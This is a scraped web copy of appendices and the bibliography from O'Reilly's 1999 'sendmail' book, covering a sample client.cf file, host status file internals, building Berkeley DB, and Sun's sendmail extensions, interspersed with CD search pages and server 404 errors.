Copyright © 1999 O'Reilly & Associates, Inc. All Rights Reserved.


Search The Networking CD Bookshelf

The Networking CD Bookshelf

Full Text Search

Use this HTML form to search the content of all of the books on The Networking CD Bookshelf.

Results report format:

Search for

If you are having difficulty searching, or if you have not used this search utility before, please read this.

The Networking CD Bookshelf Navigation The Networking CD Bookshelf DNS & BIND TCP/IP Network Administration sendmail sendmail Desktop Reference Building Internet Firewalls Practical UNIX & Internet Security

Copyright © 1999 O'Reilly & Associates. All Rights Reserved.


Search DNS & BIND

DNS & BIND

Full Text Search

Use this HTML form to search the contents of DNS & BIND.

Results report format:

Search for

If you are having difficulty searching, or if you have not used this search utility before, please read this.

The Networking CD Bookshelf Navigation The Networking CD Bookshelf DNS & BIND TCP/IP Network Administration sendmail sendmail Desktop Reference Building Internet Firewalls Practical UNIX & Internet Security

Copyright © 1999 O'Reilly & Associates. All Rights Reserved.


Search Building Internet Firewalls

Building Internet Firewalls

Full Text Search

Use this HTML form to search the contents of Building Internet Firewalls.

Results report format:

Search for

If you are having difficulty searching, or if you have not used this search utility before, please read this.

The Networking CD Bookshelf Navigation The Networking CD Bookshelf DNS & BIND TCP/IP Network Administration sendmail sendmail Desktop Reference Building Internet Firewalls Practical UNIX & Internet Security

Copyright © 1999 O'Reilly & Associates. All Rights Reserved.


404 Not Found

Not Found

The requested URL /e-book/oreillybookself/tcpip/search/macsrch.htm was not found on this server.

Apache/1.3.17 Server at www.leothreads.com Port 80


404 Not Found

Not Found

The requested URL /e-book/oreillybookself/tcpip/search/othsrch.htm was not found on this server.

Apache/1.3.17 Server at www.leothreads.com Port 80


Search Practical UNIX & Internet Security

Practical UNIX & Internet Security

Full Text Search

Use this HTML form to search the contents of Practical UNIX & Internet Security.

Results report format:

Search for

If you are having difficulty searching, or if you have not used this search utility before, please read this.

The Networking CD Bookshelf Navigation The Networking CD Bookshelf DNS & BIND TCP/IP Network Administration sendmail sendmail Desktop Reference Building Internet Firewalls Practical UNIX & Internet Security

Copyright © 1999 O'Reilly & Associates. All Rights Reserved.


Search sendmail Desktop Reference

sendmail Desktop Reference

Full Text Search

Use this HTML form to search the contents of sendmail Desktop Reference.

Results report format:

Search for

If you are having difficulty searching, or if you have not used this search utility before, please read this.

The Networking CD Bookshelf Navigation The Networking CD Bookshelf DNS & BIND TCP/IP Network Administration sendmail sendmail Desktop Reference Building Internet Firewalls Practical UNIX & Internet Security

Copyright © 1999 O'Reilly & Associates. All Rights Reserved.


Searching The Networking CD Bookshelf

The Networking CD Bookshelf

About Searching this CD

This CD includes search technology from Astaware technologies Inc. Your Web browser uses an ordinary HTML form like this one to perform the search by communicating with a single-purpose Web server, written in Java.

Therefore, in order to search the CD, the search server must be running. In order for the search server to run, you must have a Java interpreter, either the Java Developers' Kit (JDK) or the Java Runtime Engine (JRE). A JRE is provided for some platforms on this CD; you may already have the JDK installed as part of your operating system. If you haven't run the server before, or if you're having difficulty, please see below.

The search engine supports basic Boolean operators: AND, OR, and NOT. You can use these to refine your search. Example:

pipe AND stderr NOT stdout

The Results report format setting controls the style of report received. A Simple report will just list the documents found and a relevancy ranking; an Expanded report will give the first section of the document's content.

Using the Server

  • Are you using UNIX?
  • Are you running Windows 95, Windows 98, or Windows NT?
  • Are you using a Macintosh?
  • Are you using something else?

The Networking CD Bookshelf Navigation The Networking CD Bookshelf DNS & BIND TCP/IP Network Administration sendmail sendmail Desktop Reference Building Internet Firewalls Practical UNIX & Internet Security


Search sendmail

Full Text Search

Use this HTML form to search the contents of sendmail.

Results report format:

Search for

If you are having difficulty searching, or if you have not used this search utility before, please read this.

The Networking CD Bookshelf Navigation The Networking CD Bookshelf DNS & BIND TCP/IP Network Administration sendmail sendmail Desktop Reference Building Internet Firewalls Practical UNIX & Internet Security

Copyright © 1999 O'Reilly & Associates. All Rights Reserved.


Search TCP/IP Network Administration

TCP/IP Network Administration

Full Text Search

Use this HTML form to search the contents of TCP/IP Network Administration.

Results report format:

Search for

If you are having difficulty searching, or if you have not used this search utility before, please read this.

The Networking CD Bookshelf Navigation The Networking CD Bookshelf DNS & BIND TCP/IP Network Administration sendmail sendmail Desktop Reference Building Internet Firewalls Practical UNIX & Internet Security

Copyright © 1999 O'Reilly & Associates. All Rights Reserved.


404 Not Found

Not Found

The requested URL /e-book/oreillybookself/tcpip/search/unixsrch.htm was not found on this server.

Apache/1.3.17 Server at www.leothreads.com Port 80


404 Not Found

Not Found

The requested URL /e-book/oreillybookself/tcpip/search/winsrch.htm was not found on this server.

Apache/1.3.17 Server at www.leothreads.com Port 80


[Appendix A] The client.cf File

sendmailSearch this book
Previous: V. Appendixes Appendix A Next: B. Host Status File Internals

A. The client.cf File

In Part I of this book a configuration file that always forwards to the hub was partly developed. This appendix presents it in annotated and cross-referenced form, but please use this file only to learn about sendmail. If you really need a client file that always forwards to a hub, use the nullclient feature described in Chapter 16, The null.mc File and m4.

V7                                                                    Chapter 5, The sendmail.cf File

# Defined macros                                                      Chapter 7, Macros

                               Note that in the next two lines you should replace mailhost
                               with the real internal name of your mail hub and mail.us.edu
                               with the real canonical name of your mail hub.

D{REMOTE}mailhost         # The name of the mail hub                  Chapter 7
D{HUB}mail.us.edu         # Hub as known to the outside world         Chapter 11, Rule Sets 1 and S=
Cw localhost              # My other names                            Chapter 12, Class
Fw -o /etc/sendmail.cw    # A file of other names                     Chapter 12
Ct root daemon                                                        Chapter 14, Headers, Precedence, and Trust

# Options                                                             Chapter 13, Setting Options

                               Note that you must change the next line to the path for your
                               queue directory before putting this configuration file into use.

O QueueDirectory=/tmp     # Use /var/spool/mqueue upon release        Chapter 13
O Timeout.queuewarn=4h                                                Chapter 13
O Timeout.queuereturn=5d                                              Chapter 13
O DeliveryMode=background                                             Chapter 13
O TempFileMode=0600                                                   Chapter 13
O DefaultUser=1:1                                                     Chapter 13
O LogLevel=9                                                          Chapter 13
O OldStyleHeaders=True                                                Chapter 13
O BlankSub=.              # Replace unquoted spaces                   Chapter 13

# Headers                                                             Chapter 14
HFrom: <$g>                     # Added only if missing               Chapter 14

                               Note that this is a minimal Received: header. See Section 35.10.25, Received: for
                               a more complete version of this header.

HReceived: by $j; $b            # Always added                        Chapter 14
H?x?Full-Name: $?x$x$.          # Add full name if available          Chapter 14
H?D?Date: $a                    # Add if F=D                          Chapter 14
H?M?Message-Id: <$t.$i@$j>      # Add if F=M                          Chapter 14

# Precedence                                                          Chapter 14
Pspecial-delivery=100                                                 Chapter 14
Pfirst-class=0                                                        Chapter 14
Plist=-30                                                             Chapter 14
Pbulk=-60                                                             Chapter 14
Pjunk=-100                                                            Chapter 14

# Delivery agent definition to forward mail to hub                    Chapter 6, The Mail Hub and Delivery Agents
Mhub, P=[IPC], S=Hubset, R=0, F=xmDFMuXa, T=DNS/RFC822/SMTP, A=IPC $h Chapter 6, Chapter 11, Chapter 14
# Sendmail requires this, but we won't use it.                        Chapter 6
Mlocal, P=/bin/mail, F=lsDFMAw5:/|@rmn, S=0, R=0, A=mail -d $u        Chapter 6

S0 # select delivery agent                                            Chapter 9, Rule Set 0
R@ $+                   $#error $: Missing user name                  Chapter 9
R$+                     $#hub $@${REMOTE} $:$1  forward to hub        Chapter 9

S3 # preprocessing for all rule sets                                  Chapter 10, Rule Set 3
R$* <> $*               $n              handle <> error address       Chapter 10
R$* < $* <$*> $* > $*   $2<$3>$4        de-nest brackets              Chapter 10
R$* < $* > $*           $2              basic RFC822 parsing          Chapter 10

SHubset # Rewrite the sender for the hub
R$-                     $@ $1@${HUB}    user -> user@hub              Chapter 11
R$- @ $=w               $@ $1@${HUB}    user@local -> user@hub        Chapter 11, Chapter 12
R$- @ $=w . $m          $@ $1@${HUB}    user@local.domain -> user@hub Chapter 12

Previous: V. Appendixes | sendmail | Next: B. Host Status File Internals
V. Appendixes | Book Index | B. Host Status File Internals


[Appendix B] Host Status File Internals

sendmailSearch this book
Previous: A. The client.cf File Appendix B Next: C. The Berkeley DB Database

B. Host Status File Internals

Contents:
Status file lines

"Persistent host status" is described under, and enabled with, the HostStatusDirectory option (see Section 34.8.31, HostStatusDirectory). The format for each directory created by that option, as of V\*[sendmail_version] sendmail, looks like this:

HostStatusDirectory/domain./subdomain./host

That is, the canonical name of the host whose status is being stored is divided into components based on the separating dots in its name. The dot for each component, is moved to the end of each component and all but the host part are created as directories.

To illustrate, consider the following canonical name:

here.uofa.edu

If the HostStatusDirectory option were declared like this:

O HostStatusDirectory=/tmp/.hoststat

the status for the host here.uofa.edu would be stored in the file:

/tmp/.hoststat/edu./uofa./here

B.1 Status file lines

The format of the status file (in the above case here) is one item of information per line, where each line begins with a key letter:

letterwhat

The complete list of key letters is shown in Table 38.3.

Table B.1: Host Status File Key Letters
Letter | Version | Description
D | V8.8 and above | The DSN status text
E | V8.8 and above | The UNIX error number
H | V8.8 and above | The DNS error number
R | V8.8 and above | The SMTP status-code text
S | V8.8 and above | The UNIX exit(2) status
U | V8.8 and above | The time last used
V | V8.8 and above | The version of this status file
. | V8.8 and above | The end of file marker

In the sections that follow, we describe each key letter in alphabetical order, rather than in the order in which they will appear in the status file.

Note that not all these lines are printed with the hoststat(1) command (see Section 36.1.1, "hoststat (V8.8 and Above)"). As of \*[sendmail_version], only the information in the E, R, and U lines is printed.

Also note that the letters that are used and the meaning of each are essentially internal to sendmail and are subject to change without notice.

B.1.1 D line

The DSN status text

(V8.8 and above)

Delivery Status Notification (DSN) gives the status of a returned message in its Status: MIME-body header (see RFC1892). That status is formed from three digits, each separated from the others by a dot, for example:

5.0.1

The meaning of each digit is documented in RFC1893. This D line stores that status as text.

B.1.2 E line

The UNIX error number

(V8.8 and above)

When delivery or a connection fails because of a system error, that error is stored in the E line. Such errors are integer values as defined in <errno.h>. If there was no error, the value stored in this line is a zero.

B.1.3 H line

The DNS error number

(V8.8 and above)

Some connection problems are caused by errors in looking up hosts with the Domain Name System (DNS). The software that provides lookups provides its own set of errors (see <arpa/nameser.h>). If a DNS error occurs, it is stored in this H line as an integer value.

B.1.4 R line

The SMTP status-code text

(V8.8 and above)

The Simple Mail Transfer Protocol (SMTP) specifies that all errors be prefixed with three-digit codes. The meaning of all the three-digit codes is given in RFC821 and several newer RFCs.

The R line stores this three-digit code as text. If there is no code (as when there is a system error instead of an SMTP error), the text is a lone hyphen.

B.1.5 S line

The UNIX exit(2) status

(V8.8 and above)

All UNIX programs return a success or failure value to the program that executed them. These values are called exit(2) values and they may or may not correspond to standard values. The set of values that is understood by sendmail is defined in <sysexits.h>.

This S line stores the integer value that was returned by a delivery agent program. Such programs might be called to deliver SMTP network mail.

B.1.6 U line

The last time used

(V8.8 and above)

Each time connection is made to, or fails to be made to, a host, its persistent status is updated. The date and time of the last update are stored in the U line.

The date and time are represented as an unsigned long and are stored in the U line as a text representation of that value.

B.1.7 V line

The version of this status file

(V8.8 and above)

For V8.8 sendmail this is version 0. If any other version is stored in this V line, sendmail logs the following error:

Unknown host status version bad: 0 max

This is always the first line of the file.

B.1.8 . line

The end of file marker

(V8.8 and above)

A dot on a line by itself indicates the end of the host status file's information. On systems that don't support the ftruncate(2) call, additional data may appear after this line. Since this line marks the end of information, any such extra data will be ignored.

Previous: A. The client.cf File | sendmail | Next: C. The Berkeley DB Database
A. The client.cf File | Book Index | C. The Berkeley DB Database


[Appendix C] The Berkeley DB Database

sendmailSearch this book
Previous: B.1 Status file lines Appendix C Next: C.2 Get the Source

C. The Berkeley DB Database

Contents:
Overview
Get the Source
Compile and Install

C.1 Overview

The database package from Berkeley is called db. It contains hash and btree routines and gets rid of many of the limitations that exist in earlier database versions (such as dbm(3) and ndbm(3)). If your site has, or expects to have, huge alias(5) files - say 2000 lines or more - or many database files, you should consider db to be mandatory. This new database is also recommended because its accesses and updates are considerably faster.

Previous: B.1 Status file lines | sendmail | Next: C.2 Get the Source
B.1 Status file lines | Book Index | C.2 Get the Source


[Appendix C] C.2 Get the Source

sendmailSearch this book
Previous: C.1 Overview Appendix C
The Berkeley DB Database 		Next: C.3 Compile and Install

C.2 Get the Source

Do not use the version of db that was distributed on the Net2 tape. It is riddled with bugs.

Do get the latest distribution of db via anonymous FTP from ftp.CS.Berkeley.EDU. The file ucb/4bsd/db.tar.Zis a symbolic link that always points to the latest distribution. That file is a compressed, tar(1) archive and can be extracted like this:

% zcat db.tar.Z | tar xvf -

The result will be creation of a new directory with the name db.something, where the something is the latest version number.

To compile the database library, you need to change into that directory. A listing of its contents might look like this:

Makefile.inc    changelog       include         test
PORT            db              man

README          docs            mpool
btree           hash            recno

Inside the db distribution directory is a subdirectory called PORT. In order to compile, change first into that subdirectory and list the files there:

% cd PORT
% ls
Makefile        dgux.5.4        osf.1.0.2       sunos.4.1.1
README          hpux.8.07       osf.1.3         sunos.4.1.2
aix.3.2         hpux.9.01       osf.2.0         sunos.4.1.3
bsd.4.4         include         ptx.2.0         sunos.5.2
bsdi.1.0        irix.4.05F      sinix.5.41      ultrix.4.2
clib            linux           solaris.2.2     ultrix.4.3

Always read the README file first. Then select the directory that is most suitable for your machine, say, sunos.4.1.3. [1] Change into it. It will look kind of bare, but that is okay.

[1] Note that the README file describes how to port db to systems that are not currently supported.

% cd sunos.4.1.3
% ls
Makefile        clib            include         sys

If you elected to include support for both NDBM and NEWDB in Section 33.1, "Enable at Compile Time", you will need to make Makefile writable and edit it. (If you selected only NEWDB, you should skip this step.) This is necessary because your system's ndbm(3) will confict with the internal ndbm of db and cause sendmail to fail in spectacular ways.

Make Makefile writable, edit it, and remove all references to ndbm.o. Then remove the file from the include directory:

% rm include/ndbm.h

Previous: C.1 Overview | sendmail | Next: C.3 Compile and Install
C.1 Overview | Book Index | C.3 Compile and Install


[Appendix C] C.3 Compile and Install

sendmailSearch this book
Previous: C.2 Get the Source Appendix C
The Berkeley DB Database 		Next: D. Sun Enhancements

C.3 Compile and Install

To compile, merely run make(1). If you are compiling just for use in sendmail, you can leave the resulting libdb.a in with the source and reference it there (see INCDIRS= in Section 18.4.3, "INCDIRS=" for an example of how to do this). If you are compiling for general system use, you should test the result before installing. Testing is available in ../../test.

Installation is simple, although it must be done by hand. There is no install entry in the Makefile. Where you install it is up to you. Under /usr is one possibility. Under /usr/local is another. At Berkeley it was installed under /usr/sww. The following example shows how to install it in /usr/local on a BSD UNIX system:

% cp libdb.a /usr/local/lib
% ranlib /usr/local/lib/libdb.a
% mkdir /usr/local/include/db /usr/local/include/db/sys
% cp include/* /usr/local/include/db
% ln -s /usr/local/include/db/cdefs.h /usr/local/include/db/sys
% cp ../../man/*.3 /usr/local/man/man3

Finally, to use this new library, you need to return to the sendmail source and edit your Makefile there. You'll need to change two lines to reflect the actual location where you installed db:

INCDIRS=-I/usr/sww/include/db
LIBDIRS=-L/usr/sww/lib

For our installation in /usr/local the correct declarations would look like this:

INCDIRS=-I/usr/local/include/db
LIBDIRS=-L/usr/local/lib

Previous: C.2 Get the Source | sendmail | Next: D. Sun Enhancements
C.2 Get the Source | Book Index | D. Sun Enhancements


[Appendix D] Sun Enhancements

sendmailSearch this book
Previous: C.3 Compile and Install Appendix D Next: D.2 Backward Compatibility

D. Sun Enhancements

Contents:
Sun Enhancements
Backward Compatibility
K Command's -d switch
L and G Configuration Commands
The > Option

Sun Microsystems has adopted V8.6 as its standard version of sendmail as of Solaris 2.5. It will adopt V8.8 when it releases Solaris 2.7. Here, we cover Sun's enhancements to V8.8 as planned for Solaris 2.7.

Sun Microsystems has modified V8.7 sendmail to meet three internal requirements. Each new release of Sun supported sendmail must do the following:

  • Be backward compatible with old, user configuration files

  • Support the advantages of Sun's operating system, such as NIS+

  • Allow for easy administration by naive system administrators

To meet these requirements, Sun adopted use of the V configuration command (see Section 27.5, "The V Configuration Command") to indicate to sendmail how the sendmail.cf file should be handled. V1/Sun and V7/Sun[1] are the two available versions. They are mutually exclusive, which is to say that features that are available with one are not available with the other.The only exception to this is a feature that is available to both V1/Sun and V7/Sun, the Content-Length: header (see Section 35.10.7, Content-Length:). This is used to support Sun's MUA.

[1] Note that V7/Sun will be available only with Solaris 2.7. If your release of the operating system is earlier than Solaris 2.7, and if you wish to take advantage of new features and capabilities, you should obtain the V8.8 release from Berkeley (see Section 18.3, "Obtain the Source").

D.1 Sun Enhancements

Sun Microsystems has enhanced V8.7 sendmail by adding two new configuration commands and introducing a few new macros. These enhancements are enabled when V7/Sun is in your configuration file. The V7/Sun enhancements are shown in Table 38.4.

Table D.1: V7/Sun Enhancements
What | Description
G | The G configuration command (see Section 38.17, "L and G Configuration Commands") is supported as a way to initialize class macros from an external file or NIS+ database.
L | The L configuration command (see Section 38.17) is supported as a way to initialize defined macros from an external file or NIS+ database.
${ms} | The name of the local mail hub (if there is one).

Note that you cannot simply add V6/Sun to the top of your old configuration file to get these new enhancements. Instead, you must use the configuration file supplied by Sun that already contains the V6/Sun declaration.

Previous: C.3 Compile and Install | sendmail | Next: D.2 Backward Compatibility
C.3 Compile and Install | Book Index | D.2 Backward Compatibility


[Appendix D] D.2 Backward Compatibility

sendmailSearch this book
Previous: D.1 Sun Enhancements Appendix D
Sun Enhancements 		Next: D.3 K Command's -d switch

D.2 Backward Compatibility

Pre-V8 versions of sendmail possessed many assumptions and restrictions that modern versions have fixed, added, or eliminated. Prior to Solaris 2.5, Sun used a sendmail that was based on V5 sendmail and highly modified to satisfy Sun's other enhancements to UNIX.

To support old configuration files that were based on that old version of sendmail, Sun offers the V1/Sun version configuration command. The backward compatibility that V1/Sun mode supplies is shown in Table 38.5.

Table D.2: V1/Sun Backward Compatibility
What | Description
$k | The $k macro contains the value of the mail hub machine (see Section 38.18, "The > Option").
$m | The $m macro contains the same value as ${pd} described above.
$% | The $% prefix can be used in the LHS to evaluate the $%l, $%y, and $%z macros.
${ | ${ and $} are a synonym for $( and $) (see Section 33.4, "Use Maps with $( and $) in Rules").
$j | The $j macro (see Section 31.10.20, $j) is not automatically included in $=w (see Section 32.5.8, $=w), nor is it required to contain a dot.
owner- | The owner- (see Section 25.3, "Defining a Mailing List Owner") of a mailing list is not set as the envelope sender when processing a :include:.
DNS | When making DNS lookups, RES_DNSRCH (search subdomains) and RES_DEFNAMES (append the local domain) are automatically disabled.
aliases | Duplicate left-hand side entries in the aliases(5) file are silently ignored.
K | The K configuration command (see Section 33.3, "The K Configuration Command") is disabled.
VRFY | The VRFY and EXPN SMTP commands (see Section 22.3.2, "SMTP vrfy and expn") provide the same information. That is, they both act like EXPN.
F=g | The F=g delivery agent flag (see Section 30.8.22, F=g) cannot be turned off, even if it is omitted. That is, the special address <> is never used as the sender of bounced mail.
shells | A user with any shell is allowed to redirect mail to programs or files (see Section 22.8.4, "The /etc/shells file" for how this differs from current behavior).

Note that V1/Sun should be added to your old configuration file only after you have upgraded to Solaris 2.4 or higher's version of sendmail. The V configuration command will not be recognized by earlier versions of sendmail, and that command can cause those earlier versions to fail.

Previous: D.1 Sun Enhancements | sendmail | Next: D.3 K Command's -d switch
D.1 Sun Enhancements | Book Index | D.3 K Command's -d switch


[Appendix D] D.3 K Command's -d switch

sendmailSearch this book
Previous: D.2 Backward Compatibility Appendix D
Sun Enhancements 		Next: D.4 L and G Configuration Commands

D.3 K Command's -d switch

Old Sun configuration files could transfer all locally deliverable mail to a central mail hub. The assumption was that the mail hub possessed a superset of all aliases and so would be authoritative about final delivery. Unfortunately, this assumption tended to cause unnecessary traffic to be sent to the mail hub and could cause congestion at the mail hub.

In an NIS or NIS+ environment the assumption that the mail hub is authoritative may not be valid, because (in theory) every client machine can have equal access to authoritative aliasing information. With "domainwide" alias support, local addresses can be resolved at the sending client. The mail hub is then free to just handle Internet traffic.

The -d switch to the K configuration command (see Section 33.3) declares a map to be domainwide. Such a map is presumed to be available through out an NIS or NIS+ domain. The -d switch is useful only with alias maps and affects sendmail's behavior in two ways:

Address qualification

An unqualified recipient address is one that lacks an @host part. Such addresses should not be propagated in an unqualified form, so if the -d switch is specified for a map and if a username is found in that map, the name is fully qualified by appending an @ and the NIS or NIS+ domain.[2] Otherwise, if a username is found in a local alias map, the name is fully qualified by appending an @ and the hostname of the local host. Otherwise, the username is fully qualified by appending an @ and the hostname of the mail hub.

[2] This gives addresses a special property. If an address is qualified with an NIS or NIS+ domain, Sun's sendmail presumes that the name can be resolved correctly anywhere in the specified domain.

Selective alias expansion

If an address is qualified with an NIS or NIS+ domain, the user part should be alias expanded only by looking it up in a domainwide alias map. Otherwise, if an address is unqualified or an address is qualified with the local hostname, the user part should be alias expanded only by looking it up in the manner specified in the /etc/nsswitch.conf file. Otherwise, if an address is qualified with a nonlocal hostname, the mail message is forwarded to that specified host for resolution.

Previous: D.2 Backward Compatibility | sendmail | Next: D.4 L and G Configuration Commands
D.2 Backward Compatibility | Book Index | D.4 L and G Configuration Commands


[Appendix D] D.4 L and G Configuration Commands

sendmailSearch this book
Previous: D.3 K Command's -d switch Appendix D
Sun Enhancements 		Next: D.5 The > Option

D.4 L and G Configuration Commands

Sun's version of V8.7 sendmail uses the /etc/nsswitch.conf file to determine how it should resolve the hostname (the hosts: line), how it should look up aliases (the aliases: line), how it should look up user information (the passwd: and group: lines), and where it should look for its nonconfiguration file variable declarations (the sendmailvars: line):

hosts:          nisplus dns [NOTFOUND=return] files
aliases:        files nisplus
passwd:         files nisplus
group:          files nisplus
sendmailvars:   files nisplus                 <-  note

When the sendmailvars: line indicates files, sendmail looks up variable declarations in the /etc/mail/sendmailvars file. When the sendmailvars: line indicates nisplus, sendmail looks up variable declarations using the NIS+ service that defaults to sendmailvars.org_dir. In the file form, the key is on the left and the value is on the right. In the NIS+ form, the key is looked up and the value is returned:

maildomain    uofa.edu
othernames    uofa.edu here here.uofa.edu mailhub mailhub.uofa.edu

   key      value

Sun's version of V8.7 sendmail can handle two brand new (and exclusive to Sun) configuration commands. They are the L command (which you use to define a macro) and the G command (which you use to add values to a class). In both cases the value is read from external files or NIS+ maps.

Lmmaildomain
Gwothernames

The first configuration line, the L, causes the key maildomain to be looked up either in the file /etc/mail/sendmailvars or in an NIS+ map. If the key is found, the value returned (in our case uofa.edu) is assigned to the $m macro.

The second configuration line, the G, causes the key othernames to be looked up either in the file /etc/mail/sendmailvars or in an NIS+ map. If the key is found, the value returned (in our case the list of alternate hostnames) is appended to the $=w class.

In both forms of lookup, the key must match exactly. There is no form of wildcard lookup, nor is the search case-insensitive. If the key is not found, the configuration command is ignored. If the file or NIS+ service does not exist or if there is an error reading the file, the configuration command is silently ignored.

Be aware that the sendmailvars file should never be placed on an NFS mounted files system. If the server is down, your macro and class variables may silently fail to initialize.

Previous: D.3 K Command's -d switch | sendmail | Next: D.5 The > Option
D.3 K Command's -d switch | Book Index | D.5 The > Option


[Appendix D] D.5 The > Option

sendmailSearch this book
Previous: D.4 L and G Configuration Commands Appendix D
Sun Enhancements 		Next: Bibliography

D.5 The > Option

Prior to V8, Sun's sendmail used the R option to cause all mail to be automatically routed to a mail hub machine. V8 sendmail coopted the R option for its own use, so Sun had to switch the option name to >. The > option is available only with V6/Sun, and above, configuration files.

The > option is used like this:

O>mailhub

If the entire > option is omitted, all mail is delivered locally. If mailhub is present and if it is not the name of the local host, all mail is forwarded to that machine for delivery. If the mailhub is omitted and if /var/mail is NFS mounted, all mail is forwarded to the host that is exporting /var/mail. The name of the mailhub, no matter how it was determined, is assigned to the $K macro for use by rule sets.

Be aware that by setting and using this option, you are letting sendmail's internals make all the decisions for you. If you prefer more control, investigate the nullclient FEATURE described in Section 19.6.20, FEATURE(nullclient).

The > option is safe. When it is specified from the command line, sendmail retains its root privilege.

Previous: D.4 L and G Configuration Commands | sendmail | Next: Bibliography
D.4 L and G Configuration Commands | Book Index | Bibliography


Bibliography

Contents:
Requests for Comments
Publications and Postings

Requests for Comments

A Requests For Comments (RFC) is a document issued by the Internet Engineering Task Force (IETF) at the Network Information Center (NIC). Each such document defines an aspect of protocol regarding the Internet. We have listed the RFCs that pertain to sendmail in reverse numeric order, that is, with the most recent documents cited first. Note that many of these are only of interest to historians. RFCs are available via anonymous FTP from many sites: [7]

[7] This list is in constant flux. For the latest list of sites, get the document rfc-retrieval.txt from ds.internic.net.

ds.internic.net         <-  U.S. East Coast
ftp.isi.edu             <-  U.S. West Coast
ftp.uu.net              <-  U.S. Central
sunic.sunet.se          <-  Sweden
ftp.Germany.EU.net      <-  Germany
inria.fr                <-  France
mcsun.eu.net            <-  Netherlands
funet.fi                <-  Finland
ugle.unit.no            <-  Norway
ftp.denet.dk            <-  Denmark
munnari.oz.au           <-  Australia

RFC1894
An Extensible Message Format for Delivery Status Notifications, K. Moore and G. Vaudreuil, January 1996, 15 pp.
RFC1893
Enhanced Mail System Status Codes, G. Vaudreuil, January 1996, 15 pp.
RFC1892
The Multipart/Report Content Type for the Reporting of Mail System Administrative Messages, G. Vaudreuil, January 1996, 4 pp.
RFC1891
SMTP Service Extension for Delivery Status Notifications, K. Moore, January 1996, 31 pp.
RFC1873
Message/External-Body Content-ID Access Type, E. Levinson, December 1995, 4 pp.
RFC1872
The MIME Multipart/Related Content-type, E. Levinson, December 1995, 8 pp.
RFC1870
SMTP Service Extension for Message Size Declaration, J. Klensin, N. Freed, and K. Moore, November 1995, 9 pp.
RFC1869
SMTP Service Extensions, J. Klensin, N. Freed, M. Rose, E. Stefferud, and D. Crocker, November 1995, 11 pp.
RFC1864
The Content-MD5 Header Field, J. Myers and M. Rose, October 1995, 4 pp.
RFC1854
SMTP Service Extension for Command Pipelining, N. Freed, October 1995, 21 pp.
RFC1846
SMTP 521 Reply Code, A. Durand and F. Dupont, September 1995, 4 pp.
RFC1845
SMTP Service Extension for Checkpoint/Restart, N. Freed (ed.) and D. Crocker, September 1995, 7 pp.
RFC1844
Multimedia E-mail (MIME) User Agent checklist, E. Huizer, August 1995, 8 pp.
RFC1830
SMTP Service Extensions for Transmission of Large and Binary MIME Messages, G. Vaudreuil, August 1995, 8 pp.
RFC1711
Classifications in E-mail Routing, J. Houttuin, October 1994, 19 pp.
RFC1652
SMTP Service Extensions for 8bit-MIMEtransport, J. Klensin, N. Freed, M. Rose, E. Stefferud, and D. Crocker, July 1994, 6 pp.
RFC1566
Mail Monitoring MIB, N. Freed (ed.) and S. Killy, January 1994, 20 pp.
RFC1522
Representation of Non-ASCII Text in Internet Message Headers, K. Moore, September 1993, 7 pp.
RFC1521
MIME (Multipurpose Internet Mail Extensions): Mechanisms for Specifying and Describing the Format of Internet Message Bodies, N. Borenstein and N. Freed, September 1993, 69 pp.
RFC1505
Encoding Header Field for Internet Messages, D. Robinson and R. Ullmann, August 1993, 36 pp.
RFC1496
X.400 1988 to 1984 Downgrading, S.E. Hardcastle-Kille, August 1993, 5 pp.
RFC1495
Mapping Between X.400(1988)/ISO 10021 and RFC 822, S.E. Hardcastle-Kille, August 1993, 11 pp., Updates RFC1327.
RFC1428
Transition of Internet Mail from Just-Send-8 to 8bit-SMTP/MIME, G. Vaudreuil, February 1993, 6 pp.
RFC1423
Privacy Enhancement for Internet Electronic Mail: Part III - algorithms, modes, and identifiers [Draft], J. Linn, February 1993, 14 pp.
RFC1422
Privacy Enhancement for Internet Electronic Mail: Part II - Certificate-based Key Management, S.T. Kent and J. Linn, February 1993, 32 pp.
RFC1421
Privacy Enhancement for Internet Electronic Mail: Part I - Message Encipherment and Authentication Procedures, J. Linn, February 1993, 42 pp.
RFC1345
Character Mnemonics and Character Sets, K. Simonsen, June 1992, 103 pp.
RFC1344
Implications of MIME for Internet Mail Gateways, N. Borenstein, June 1992, 8 pp.
RFC1343
User Agent Configuration Mechanism for Multimedia Mail Format Information, N. Borenstein, June 1992, 10 pp.
RFC1321
MD5 Message-Digest Algorithm, R.L. Rivest, April 1992, 21 pp.
RFC1320
MD4 Message-Digest Algorithm, R.L. Rivest, April 1992, 20 pp.
RFC1319
MD2 Message-Digest Algorithm, B.S. Kaliski, April 1992, 17 pp., Updates RFC1115.
RFC1176
Interactive Mail Access Protocol: Version 2, M.R. Crispin, August 1990, 30 pp.
RFC1153
Digest Message Format, F.J. Wancho, April 1990, 4 pp.
RFC1137
Mapping Between Full RFC 822 and RFC 822 with Restricted Encoding, S.E. Kille, December 1989, 3 pp., Updates RFC976.
RFC1123
Requirements for Internet Hosts - Application and Support, R.T. Braden (ed.), October 1989, 98 pp.
RFC1122
Requirements for Internet Hosts - Communication Layers, R.T. Braden (ed.), October 1989, 116 pp.
RFC1036
Standard for Interchange of USENET Messages, M.R. Horton and R. Adams, December 1987, 19 pp., Obsoletes RFC850.
RFC976
UUCP Mail Interchange Format Standard, M.R. Horton, February 1986, 12 pp.
RFC934
Proposed Standard for Message Encapsulation, M.T. Rose and E.A. Stefferud, January 1985, 10 pp.
RFC822
Standard for the Format of ARPA Internet Text Messages, D. Crocker, August 13, 1982, 47 pp., Obsoletes RFC733; updated by RFC1327.
RFC821
Simple Mail Transfer Protocol, J.B. Postel, August 1982, 58 pp., Obsoletes RFC788.
RFC805
Computer Mail Meeting Notes, J.B. Postel, February 8, 1982, 6 pp.
RFC733
Standard for the Format of ARPA Network Text Messages, D. Crocker, J. Vittal, K.T. Pogran, and D.A. Henderson, November 21, 1977, 38 pp., Obsoletes RFC724; obsoleted by RFC822.
RFC706
On the Junk Mail Problem, J.B. Postel, November 8, 1975, 1 p.

Previous: V. Appendixes | sendmail | Next: Publications and Postings
V. Appendixes | Book Index | Publications and Postings


[Bibliography] Publications and Postings

sendmailSearch this book
Previous: Requests for Comments Bibliography

Publications and Postings

Albitz, Paul, and Cricket Liu. DNS and BIND. Sebastopol, CA: O'Reilly & Associates, Inc., 1997.
Allman, Eric. Sendmail: An Internetwork Mail Router in the BSD UNIX Documentation Set. Berkeley, CA: University of California, 1986-1993.
Allman, Eric, and Miriam Amos. Sendmail Revisited. Portland, OR: USENIX Proceedings, Summer 1985.
